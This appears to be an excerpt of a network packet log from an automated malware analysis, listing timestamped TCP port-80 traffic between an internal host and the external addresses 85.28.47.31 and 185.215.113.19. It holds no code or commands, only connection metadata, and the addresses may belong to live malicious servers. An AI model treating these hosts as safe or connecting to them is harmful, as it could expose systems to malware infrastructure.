Jul 27, 2024 05:39:19.454770088 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.454778910 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.454804897 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.454811096 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.454838037 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.454847097 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.454874039 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.454881907 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.454906940 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.454916000 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.454941988 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.454948902 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.454974890 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.454993010 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.455008984 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.455018997 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.455044031 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.455048084 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.455079079 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.455090046 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.455111980 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.455120087 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.455146074 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.455153942 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.455179930 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.455185890 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.455213070 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.455224991 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.455241919 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.455254078 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.455275059 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.455286026 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.455308914 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.455317020 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.455343008 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.455352068 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.455377102 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.455385923 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.455410004 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.455420017 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.455446005 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.455451012 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.455478907 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.455487967 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.455513000 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.455522060 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.455545902 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.455554962 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.455579996 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.455589056 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.455612898 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.455621958 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.455646992 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.455656052 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.455679893 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.455689907 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.455715895 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.455723047 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.455749989 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.455760002 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.455784082 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.455791950 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.455816984 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.455826044 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.455852032 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.455858946 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.455888987 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.455894947 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.455935955 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.541352987 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.541451931 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.541487932 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.541513920 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.541522026 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.541544914 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.541555882 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.541568995 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.541590929 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.541599035 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.541626930 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.541635990 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.541671038 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.541908979 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.541953087 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.541961908 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.542006016 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.542012930 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.542047977 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.542056084 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.542089939 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.542107105 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.542140961 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.542149067 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.542172909 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.542184114 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.542218924 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.542224884 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.542264938 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.542273045 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.542316914 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.542325020 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.542368889 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.542376041 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.542411089 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.542418957 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.542443991 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.542450905 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.542478085 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.542484045 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.542510986 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.542521000 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.542545080 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.542551994 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.542579889 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.542587996 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.542615891 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.542622089 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.542649031 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.542659044 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.542685032 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.542690992 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.542721033 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.542730093 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.542762995 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.542766094 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.542798996 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.542809010 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.542834997 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.542840004 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.542869091 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.542877913 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.542912006 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.542921066 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.542963982 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.542970896 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.543004036 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.543014050 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.543036938 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.543045044 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.543072939 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.543081045 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.543118000 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.543123007 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.543157101 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.543165922 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.543190002 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.543199062 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.543231010 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.543240070 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.543288946 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.543294907 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.543328047 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.543338060 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.543360949 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.543370962 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.543394089 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.543405056 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.543427944 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.543435097 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.543462038 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.543472052 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.543497086 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.543504000 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.543531895 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.543539047 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.543569088 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.543575048 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.543611050 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.543618917 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.543652058 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.543664932 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.543684959 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.543693066 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.543719053 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.543725967 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.543757915 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.543761015 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.543797970 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.543807983 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.543843031 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.543852091 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.543884993 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.543891907 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.543926001 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.543936968 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.543961048 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.543966055 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.543994904 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.544001102 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.544034958 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.544038057 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.544076920 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.544085979 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.544127941 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.544136047 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.544168949 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.544179916 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.544202089 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.544209003 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.544235945 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.544241905 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.544277906 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.544286966 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.544327974 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.544336081 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.544378042 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.544384003 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.544418097 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.544426918 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.544450998 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.544457912 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.544493914 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.544504881 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.544547081 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.544568062 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.544610977 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.544619083 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.544663906 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.544672012 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.544708967 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.544740915 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.544751883 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.544775009 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.544780970 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.544807911 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.544811964 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.544851065 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.544858932 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.544894934 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.544900894 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.544939041 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.544945955 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.544981003 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.545025110 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.545031071 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.545067072 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.545077085 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.545108080 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.545115948 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.545150042 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.545160055 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.545182943 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.545192003 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.545217991 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.545228004 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.545252085 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.545259953 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.545285940 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.545298100 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.545320034 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.545329094 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.545353889 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.545360088 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.545388937 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.545399904 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.545422077 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.545425892 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.545455933 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.545465946 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.545489073 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.545497894 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.545522928 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.545531988 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.545556068 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.545567036 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.545591116 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.545600891 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.545624971 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.545631886 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.545660019 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.545663118 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.545692921 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.545705080 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.545728922 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.545736074 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.545762062 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.545772076 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.545798063 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.545809031 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.545830965 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.545839071 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.545866966 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.545872927 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.545901060 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.545907021 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.545934916 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.545943975 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.545979023 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.581886053 CEST	49485	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:19.582281113 CEST	49486	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:19.587245941 CEST	80	49485	185.215.113.19	192.168.2.4
Jul 27, 2024 05:39:19.587279081 CEST	80	49486	185.215.113.19	192.168.2.4
Jul 27, 2024 05:39:19.587337017 CEST	49485	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:19.587371111 CEST	49486	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:19.588887930 CEST	49486	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:19.593722105 CEST	80	49486	185.215.113.19	192.168.2.4
Jul 27, 2024 05:39:19.632110119 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.632163048 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.632195950 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.632221937 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.632229090 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.632251024 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.632262945 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.632272959 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.632297039 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.632308006 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.632330894 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.632342100 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.632363081 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.632374048 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.632405996 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.632416010 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.632447958 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.632458925 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.632493973 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.632499933 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.632544041 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.632550955 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.632585049 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.632592916 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.632618904 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.632630110 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.632656097 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.632663965 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.632687092 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.632699966 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.632720947 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.632724047 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.632755041 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.632764101 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.632791042 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.632798910 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.632833958 CEST	49477	80	192.168.2.4	85.28.47.31
